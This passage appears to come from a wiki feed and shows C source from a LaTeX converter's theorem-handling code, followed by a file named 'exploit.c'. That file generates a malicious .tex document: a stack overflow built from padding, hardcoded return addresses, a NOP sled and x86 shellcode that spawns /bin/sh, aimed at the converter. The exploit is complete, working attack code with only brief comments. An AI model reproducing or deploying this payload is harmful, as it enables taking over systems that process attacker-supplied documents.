	}&lt;br /&gt;
	&lt;br /&gt;
	NewTheorems[iNewTheoremCount].name=strdup(name); &lt;br /&gt;
	&lt;br /&gt;
	NewTheorems[iNewTheoremCount].caption=strdup(caption); &lt;br /&gt;
&lt;br /&gt;
	if (numbered_like)&lt;br /&gt;
		NewTheorems[iNewTheoremCount].numbered_like=strdup(numbered_like);&lt;br /&gt;
	else &lt;br /&gt;
		NewTheorems[iNewTheoremCount].numbered_like=strdup(name);&lt;br /&gt;
&lt;br /&gt;
	if (within)&lt;br /&gt;
		NewTheorems[iNewTheoremCount].within=strdup(within);&lt;br /&gt;
	else &lt;br /&gt;
		NewTheorems[iNewTheoremCount].within=NULL;&lt;br /&gt;
		&lt;br /&gt;
	setCounter(NewTheorems[iNewTheoremCount].numbered_like,0);&lt;br /&gt;
&lt;br /&gt;
	iNewTheoremCount++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
existsTheorem(char * s)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: checks to see if a user created environment exists&lt;br /&gt;
     returns: the array index of the \newtheorem&lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	int i=0;&lt;br /&gt;
	&lt;br /&gt;
	while(i &amp;lt; iNewTheoremCount &amp;amp;&amp;amp; !strequal(s,NewTheorems[i].name)) {&lt;br /&gt;
		diagnostics(6, &amp;quot;seeking=&amp;lt;%s&amp;gt;, i=%d, current=&amp;lt;%s&amp;gt;&amp;quot;, s,i,NewTheorems[i].name);&lt;br /&gt;
		i++;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	if (i==iNewTheoremCount) &lt;br /&gt;
		return -1;&lt;br /&gt;
	else&lt;br /&gt;
		return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
char *&lt;br /&gt;
expandTheorem(int i, char *option)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: retrieves and expands a \newtheorem into a string&lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{	&lt;br /&gt;
	char s[128], *num;&lt;br /&gt;
	int ithm;&lt;br /&gt;
	&lt;br /&gt;
	if (i&amp;lt;0 || i&amp;gt;=iNewTheoremCount)&lt;br /&gt;
		return strdup(&amp;quot;&amp;quot;);&lt;br /&gt;
	&lt;br /&gt;
	incrementCounter(NewTheorems[i].numbered_like);&lt;br /&gt;
	ithm = getCounter(NewTheorems[i].numbered_like);&lt;br /&gt;
	&lt;br /&gt;
	if (NewTheorems[i].within) {&lt;br /&gt;
		num = FormatUnitNumber(NewTheorems[i].within);&lt;br /&gt;
		if (option)&lt;br /&gt;
			snprintf(s,128,&amp;quot;%s %s.%d (%s)&amp;quot;, NewTheorems[i].caption, num, ithm, option);&lt;br /&gt;
		else&lt;br /&gt;
			snprintf(s,128,&amp;quot;%s %s.%d&amp;quot;, NewTheorems[i].caption, num, ithm);&lt;br /&gt;
		free(num);&lt;br /&gt;
	} else {&lt;br /&gt;
		if (option)&lt;br /&gt;
			snprintf(s,128,&amp;quot;%s %d (%s)&amp;quot;, NewTheorems[i].caption, ithm, option);&lt;br /&gt;
		else&lt;br /&gt;
			snprintf(s,128,&amp;quot;%s %d&amp;quot;, NewTheorems[i].caption, ithm);&lt;br /&gt;
	}&lt;br /&gt;
			&lt;br /&gt;
	return strdup(s);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
resetTheoremCounter(char *unit)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: resets theorem counters based on unit&lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{	&lt;br /&gt;
	int i;&lt;br /&gt;
	&lt;br /&gt;
	for (i=0; i&amp;lt;iNewTheoremCount; i++) {&lt;br /&gt;
		if (strequal(unit,NewTheorems[i].within))&lt;br /&gt;
			setCounter(NewTheorems[i].numbered_like, 0);&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==exploit.c==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/* The below file has been creeated for prepearing the .tex file which will be helpful in launching the exploit. */&lt;br /&gt;
//Global Variables&lt;br /&gt;
char values[] = {&lt;br /&gt;
   //Shell Code responsible for the exploit&lt;br /&gt;
   0x31, 0xc0, 0xb0, 0x46, 0x31, 0xdb, 0x31, 0xc9, 0xcd, 0x80, 0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0xb0, 0x0b, 0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x80, 0xe8, 0xe5, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68&lt;br /&gt;
} ;&lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
 &lt;br /&gt;
  int i;&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;\\def\\row#1{&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  //Firstly, adding all As in the definition&lt;br /&gt;
  for(i=0;i&amp;lt;1064;i++)&lt;br /&gt;
    putchar('A');&lt;br /&gt;
&lt;br /&gt;
  //Based on the memory values obtained after debugging, args corresponds to&lt;br /&gt;
&lt;br /&gt;
  for (i = 0;i &amp;lt; 8;++i) {&lt;br /&gt;
    putchar(0x40); &lt;br /&gt;
    putchar(0x73); &lt;br /&gt;
    putchar(0x08); &lt;br /&gt;
    putchar(0x08);&lt;br /&gt;
  }&lt;br /&gt;
   &lt;br /&gt;
  putchar(0x94); &lt;br /&gt;
  putchar(0xf0); &lt;br /&gt;
  putchar(0xff); &lt;br /&gt;
  putchar(0xbf);&lt;br /&gt;
&lt;br /&gt;
  for (i = 0;i &amp;lt; 2;++i) {&lt;br /&gt;
    putchar(0xa0); &lt;br /&gt;
    putchar(0x9a); &lt;br /&gt;
    putchar(0x08); &lt;br /&gt;
    putchar(0x08);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  //For hitting the smasher, we will have to add the following values which we got from the dump&lt;br /&gt;
  for (i = 0;i &amp;lt; 5;++i) {&lt;br /&gt;
    putchar(0x94); &lt;br /&gt;
    putchar(0xf0); &lt;br /&gt;
    putchar(0xff); &lt;br /&gt;
    putchar(0xbf);&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  //Adding all the NOPs&lt;br /&gt;
  for (i = 0;i &amp;lt; 256;++i)&lt;br /&gt;
    putchar(0x90);&lt;br /&gt;
&lt;br /&gt;
  putchar(0xeb); &lt;br /&gt;
  putchar(sizeof(values));&lt;br /&gt;
&lt;br /&gt;
  for (i = 0;i &amp;lt; sizeof values;++i)&lt;br /&gt;
    putchar(values[i]);&lt;br /&gt;
&lt;br /&gt;
  putchar(0xe8);&lt;br /&gt;
&lt;br /&gt;
  putchar(251 - sizeof values); &lt;br /&gt;
&lt;br /&gt;
  putchar(0xff); &lt;br /&gt;
  putchar(0xff); &lt;br /&gt;
  putchar(0xff);&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;}\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;\\begin{document}\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;\\row a\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;\\end{document}\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>